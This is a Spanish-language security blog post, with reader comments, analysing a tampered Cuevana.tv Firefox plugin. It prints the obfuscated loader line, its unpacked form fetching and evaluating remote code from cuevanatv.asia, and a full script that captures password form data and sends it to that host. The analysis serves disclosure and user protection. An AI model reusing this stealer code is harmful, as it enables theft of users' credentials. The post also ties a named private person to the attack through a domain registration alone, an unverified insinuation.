Cuevana.tv y su plugin espia


Cuevana.tv es un reconocido sitio de películas que permite hacer streaming gratuito de los últimos estrenos de Hollywood con mucha comodidad, para lograr esta “comodidad” para el usuario, es necesario instalar un plugin en nuestro navegador, que permitía tomar las películas que cuevana.tv almacenaba en servidores de descarga gratuita como fuente para realizar streaming desde ellos.

Gracias a @Ursack me entero que precisamente este plugin se ha vuelto noticia, luego de que el usuario RME de Foro Coches iniciara un hilo donde ponía en evidencia un código malicioso que se encontraba dentro del plugin de cuevana y que enviaba información del usuario al dominio CUEVANATV.ASIA

(Click para Agrandar)

Lo primero que hice fué revisar mi propio plugin ya que a veces utilizo el servicio de cuevana, pero como lo había instalado hace mas de un mes no tenia el código malicioso del que todos hablan, me metí a la pagina oficial a descargar el plugin y descargué una copia para compararla con la mía. Le cambio el nombre a los plugins para identificarlos fácilmente y procedo a descomprimirlos, recuerden que los plugins de Firefox son básicamente archivos comprimidos con extensión xpi.

(Click para Agrandar)

Básicamente los 2 plugins son iguales, lo único que cambia entre versión y versión es una línea en el archivo content/script-compiler.js que solo aparece en la versión infectada.

(Click para Agrandar)

La línea en cuestión esta empaquetada para que no pueda ser leída tan fácilmente, por lo que de entrada genera sospechas:

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d1=k1||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k1){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k1)}}return p}('6 0=7 5();0.4(\'1\',\'2://3.8/h.9?\'+g.e(),d);0.a(b);c(0.f);',18,18,'r|GET|http|cuevanatv|open|XMLHttpRequest|var|new|asia|js|send|null|eval|false|random|responseText|Math|back3'.split('|'),0,{}))

Por tanto lo primero que haremos será utilizar nuestro desempaquetador preferido para ver mas claramente que es lo que hace el código:

ar r = new XMLHttpRequest();
r.open(‘GET’, ‘http://cuevanatv.asia/back3.js?’ + Math.random(), false);
r.send(null);
eval(r.responseText);

Como pueden ver se hace un llamado a un código JavaScript, al que desgraciadamente no pude acceder por que en el momento que escribo este articulo el dominio cuevanantv.asia, (curiosamente registrado a nombre de María Helena Chávez, la esposa de un político Argentino… que puede dar pistas sobre la procedencia del atacante…) se encontraba fuera de servicio.

Afortunadamente los chicos de forocoches alcanzaron a tener acceso a este script, entre otros scripts almacenados en cuevanantv.asia y esto fué lo que encontraron:

    var r = new XMLHttpRequest();
    r.open('GET', "http://cuevanatv.asia/scripts.txt", false);
    r.send(null);
    if (r.status == 200) eval(r.responseText);
    OSid = Components.classes['@mozilla.org/xre/app-info;1'].getService(Components.interfaces.nsIXULRuntime).OS;
    OSid = (OSid == 'Darwin') ? 3 : ((OSid == 'WINNT') ? 2 : ((OSid == 'Linux') ? 1 : 0));

    function _sData(datos, url) {
        var r = new XMLHttpRequest;
        r.open("POST", "http://cuevanatv.asia/add.php", true);
        r.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        r.send("d=" + datos + "&o=" + OSid + "&u=" + url);
    }
    Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService).addObserver({
        observe: function (aWindow, aTopic, aData) {
            if (aWindow instanceof Ci.nsIDOMWindow && aTopic == 'content-document-global-created') {
                var win = aWindow.wrappedJSObject;
                win.addEventListener("submit",

                function (e) {
                    datos = [];
                    enviar = false;
                    for each(i in e.target.elements) {
                        if (i.type == 'password') enviar = true;
                        if (i.type != 'hidden' && i.type != 'submit' && i.type != undefined) datos.push(i.name + "::" + i.value);
                    }
                    if (enviar) _sData(datos.join(":_:"), win.location.href);
                }, false);
                var xmlhr = new Object();
                xmlhr.open = win.XMLHttpRequest.prototype.open;
                xmlhr.send = win.XMLHttpRequest.prototype.send;
                if (win.location.host.indexOf("facebook.com") == -1) {
                    win.XMLHttpRequest.prototype.open = function (a, b) {
                        a = (!a) ? '' : a;
                        b = (!b) ? '' : b;
                        xmlhr.open.apply(this, arguments);
                        xmlhr.metodo = a.toLowerCase();
                        xmlhr.url = b;
                        if (xmlhr.metodo == 'get') xmlhr.datos = b.split("?")[1];
                    }
                    win.XMLHttpRequest.prototype.send = function (a, b) {
                        a = (!a) ? '' : a;
                        b = (!b) ? '' : b;
                        xmlhr.send.apply(this, arguments);
                        if (xmlhr.metodo == 'post') xmlhr.datos = a;
                        xmlhr.callback();
                    }
                }
                xmlhr.callback = function () {
                    enviar = false;
                    activadores = ["pass", "pss", "clave", "contra"];
                    for each(dato in this.datos.split("&")) {
                        for each(activador in activadores) {
                            if (dato.split("=")[0].indexOf(activador) > -1) enviar = true;
                        }
                    }
                    if (enviar) _sData(this.datos.split("&").join(":_:").split("=").join("::"), win.location.href);
                }
                win.addEventListener("DOMContentLoaded", function (e) {
                    for (site in scripts) {
                        if (win.location.host.indexOf(site) > -1) {
                            var r = new XMLHttpRequest();
                            r.open('GET', scripts[site], false);
                            r.send(null);
                            if (r.status == 200) eval(r.responseText);
                        }
                    }
                }, false);
            }
        }
    }, 'content-document-global-created', false);

En resumidas cuentas lo que hace ese script es enviar los datos de los formularios que llenemos y cumplan con unos parámetros específicos a un servidor donde serán almacenados para su posterior uso por una persona mal intencionada, en el siguiente video podemos ver el funcionamiento del plugin infectados y como enviaba los datos atravez de nuestro navegador.

Con lo que se confirma que efectivamente el plugin de Cuevana.tv para hacer streaming de películas gratis, tenia un código malicioso que robaba información sensible, además de código especifico para hacer pishing a varias entidades bancarias.

El administrador de Cuevana.tv aunque tuvo conductas sospechosas, como eliminar el código malicioso del plugin sin notificar a nadie, ni aumentar la versión del mismo, aseguró desde la cuenta oficial de cuevana.tv en twitter (tan pronto la noticia se dio a conocer por menéame) que nunca harían eso a sus usuarios…

Al parecer cuevana.tv fué vulnerado (de nuevo,,,), y lograron inyectar ese código en el plugin del sitio, ellos afirman que investigarán el caso y mas les vale, por que todos sus usuarios estaremos ansiosos de ver los resultados de esta investigación, para descartar una mala intención directamente de los creadores de cuevana.tv

Conclusiones y Recomendaciones sobre el plugin espía de cuevana.tv

  • La conclusión mas importante que te debes llevar es que no instales plugins en tu navegador de dudosa procedencia, siempre busca comentarios de otras personas sobre el plugin y descargalo siempre que sea posible, de la pagina de complementos oficial de tu navegador.
  • Cambia TODAS las contraseñas de tus servicios web, es muy posible que una persona mal intencionada ya cuente con ellas y al verse descubierto/a intentara sacar el máximo jugo a su botín en el menor tiempo posible.
  • Utiliza contraseñas diferentes para todos tus servicios, ya vimos como cuevana.tv fue vulnerado y si lograron modificar archivos en el servidor, podrían acceder a toda la base de datos de usuarios, ¿tienes la misma clave que usas en cuevana para otro servicio?… ¿ya entiendes por que es importante usar una clave para cada cosa?

Les recomiendo los siguientes artículos que también hablan del tema:

Si quieres echarle un ojo al plugin sano vs el infectado te dejo los archivos en este enlace, espero que les gustara el post, no olviden dejar sus comentarios e informar a sus amigos sobre este problema para que no se vean perjudicados.

Si te ha gustado el post, compartelo y ayudanos a crecer.

Unete a nuestra Fanpage Siguenos en Twitter

Twitter Digg Delicious Stumbleupon Technorati Facebook Email

About DragoN

Ingeniero en Sistemas y Telecomunicaciones de la Universidad de Manizales. Information Security Researcher con más de 10 años de experiencias en Ethical Hacking, Pen Testing y Análisis Forense. Docente Universitario en Pre y Post-Grado, Speaker y Organizador de diferentes eventos de Seguridad Informática, Co-Fundador del ACK Security Conference y Creador de La Comunidad DragonJAR, una de las comunidades de seguridad informática mas grandes de habla hispana y referente en el sector.

28 Respuestas para “Cuevana.tv y su plugin espia”

  1. Hola Dragon el dominio cuevanatv.asia fue creado el 17-Mar-2012 16:18:32
    y registrado por Maria Helena Chaves en Gandi SAS R102-ASIA (81)

    desde cuando estarán en esas con el plugin?

    complicado.

  2. Lo gratis sale caro

  3. Excelente investigación compañeros, no sabía que se podía infectar los plugins de esa manera, me han abierto los ojos.
    Un abrazo, sigan adelante.
    Éxitos

  4. a mi me paso cuando trate de instalarlo en mi navegador iceweasel no me dejo me dijo que tenia codigo malicioso a si que opte por no mirar videos desde cuevana yo uso la version aurora de iceweasel un pariente de firefox jajajaj existen otros lugares de stream en los cuales para ver videos no hay que instalar nada

  5. hay otro sitio para ver pelis gratis que no represente este tipo de riesgos y vulnerabilidades informaticas??

  6. Hablamos no de miles sino de millones de personas que se pudieron ver afectadas con esto…

  7. Yo siempre desconfie de ese pluging, afortunadamente como uso Chrome, firefox solo lo uso para ver las peliculas de cuevana asi que a como esta hecho este spyware, no me ha afectado, aunq ahorita que caigo en cuenta, hace rato que deje de usar cuevana

  8. Hola Dragón! como puedo ver el código fuente del plugin de Cuevana en chrome? quiero ver si el mío estaba infectado, gracias!

  9. cuevana me envia directamente a webstore de chrome para instalar el plugin, es seguro asi o no? gracias

  10. Aug 2 22:58 {a3a5c777-f583-4fef-9380-ab4add1bc2a8}.xpi

    No esta infectado.

    MD5 ({a3a5c777-f583-4fef-9380-ab4add1bc2a8}.xpi) = f4bbb2c31c3774f3e1f8f921af1485ae

  11. hola acabo de enterarme de tu blog y la verdad es que me parece excelente no sabia de mas personas interesadas en estos temas, aqui tienes un nuevo lector que seguira visitandote abitualmente.

  12. Todavía recuerdo el día que me recomendaste por twitter usar cuevana jajajajaja

  13. A la fecha de hoy, ¿seguirá habiendo sospechas de que persiste el plugin espía?

Trackbacks/Pingbacks

  1. Bitacoras.com - 17 septiembre 2012

    Información Bitacoras.com…

    Valora en Bitacoras.com: No hay resumen disponible para esta anotación…

  2. El plugin de Cuevana posiblemente estuvo robando contraseñas - 17 septiembre 2012

    [...] 17/9 (12:30 pm): desde DragonJar también se confirma la presencia del código [...]

  3. Durante setiembre el plugin 4.2 de Cuevana posiblemente robó usuarios y contraseñas | corrientesinfo.com - 17 septiembre 2012

    [...] 17/9 (12:30 pm): desde DragonJar también se confirma la presencia del código [...]

  4. ¿Usas Cuevana.tv para ver películas? « infoinseg - 17 septiembre 2012

    [...] DragonJAR (Análisis detallado del Plugin y recomendaciones). Share this:TwitterFacebookMe gusta:Me gustaBe the first to like this. [...]

  5. Cuevana.tv y su plugin espia - 17 septiembre 2012

    [...] Fuente | dragonjar [...]

  6. Cuevana.tv y su plugin espía | Revista de Tecnología & Seguridad - 17 septiembre 2012

    [...] Fuente: dragonjar [...]

  7. Cuevana.tv y su plugin espia | .:: UpalePues ::. Ultimo en Actualidad de Tecnología y Geek En Latino América. - 17 septiembre 2012

    [...] Leer noticia completa en Clic Aquí  [...]

Dejar un Comentario